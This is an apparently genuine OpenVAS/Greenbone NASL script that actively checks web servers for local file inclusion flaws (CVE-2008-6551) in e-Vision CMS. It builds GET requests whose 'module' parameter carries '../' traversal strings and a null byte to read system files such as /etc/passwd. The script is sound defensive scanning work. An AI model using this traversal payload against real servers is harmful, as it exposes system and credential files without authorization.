e-Vision CMS <= 2.0.2 Multiple LFI Vulnerabilities - Active Check

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100054");
  script_version("2024-01-19T16:09:33+0000");
  script_tag(name:"last_modification", value:"2024-01-19 16:09:33 +0000 (Fri, 19 Jan 2024)");
  script_tag(name:"creation_date", value:"2009-03-16 12:53:50 +0100 (Mon, 16 Mar 2009)");
  script_tag(name:"cvss_base", value:"5.1");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2008-6551");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("e-Vision CMS <= 2.0.2 Multiple LFI Vulnerabilities - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_require_keys("Host/runs_unixoide");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"e-Vision CMS is prone to multiple local file include (LFI)
  vulnerabilities because it fails to properly sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP GET requests and checks the responses.");

  script_tag(name:"impact", value:"An attacker can exploit these vulnerabilities using directory
  traversal strings to view local files and execute local scripts within the context of the
  webserver process. A successful attack can allow the attacker to obtain sensitive information or
  gain unauthorized access to an affected computer in the context of the vulnerable server.");

  script_tag(name:"affected", value:"e-Vision CMS version 2.0.2 and probably prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/32180");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port(default: 80);

if (!http_can_host_php(port: port))
  exit(0);

files = traversal_files("linux");

foreach dir (make_list_unique("/evision", "/cms", http_cgi_dirs(port: port))) {
  if (dir == "/")
    dir = "";

  res = http_get_cache(port: port, item: dir + "/modules/plain/adminpart/addplain.php");
  if (!res || res !~ "^HTTP/1\.[01] 200")
    continue;

  foreach pattern (keys(files)) {
    file = files[pattern];

    url = dir + "/modules/plain/adminpart/addplain.php?module=../../../../../../../../../../../../" +
          file + "%00";

    if (http_vuln_check(port: port, url: url, pattern: pattern)) {
      report = http_report_vuln_url(port: port, url: url);
      security_message(port: port, data: report);
      exit(0);
    }
  }

  # nb: /etc/passwd could not be read, try the e-vision File.
  url = dir + "/modules/plain/adminpart/addplain.php?module=../../../javascript/sniffer.js%00";

  if (http_vuln_check(port: port, url: url, pattern: "Ultimate client-side JavaScript client sniff\.")) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);